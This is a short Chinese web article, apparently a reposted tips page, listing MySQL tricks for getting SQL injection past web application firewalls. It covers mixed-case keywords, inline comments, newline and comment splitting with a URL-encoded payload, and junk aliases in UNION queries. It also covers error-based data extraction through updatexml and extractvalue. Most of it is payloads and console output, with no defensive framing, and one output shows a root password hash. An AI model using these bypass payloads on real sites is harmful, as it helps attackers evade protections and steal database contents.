当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

WAF绕过tips----mysql

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

1、转换大小写

1
2
3
4
5
6
7 mysql> SeLECt 1,2;
+---+---+ 搜狗电脑知识技巧
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.02 sec)

 
2、内联注释

1
2
3
4
5
6
7 mysql> /*!select*//**/1,2;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)

 
3、换行

1
2
3
4
5
6
7
8
9
10
11
12 mysql> select
    -> #abc
    -> 1,
    -> 2
    -> #abc
    -> ;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.06 sec)

url---->select%0a%23abc%0a1,%0a2#23abc
 
4、表后面加xxx

1
2
3
4
5
6
7
8 mysql> select user,password from user xxx union select(1),(2);
+------+-------------------------------------------+
| user | password                                  |
+------+-------------------------------------------+
| root | *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
| 1    | 2                                         |
+------+-------------------------------------------+
2 rows in set (0.08 sec)

 
5、冷门函数

1
2
3 and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))
     
and extractvalue(1, concat(0x5c, (select user()),0x5c));

不过这两条语句要报错模式,msyql版本大于5.1
 
ps:后续更新。
 

相关文章
  • 没有相关文章
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1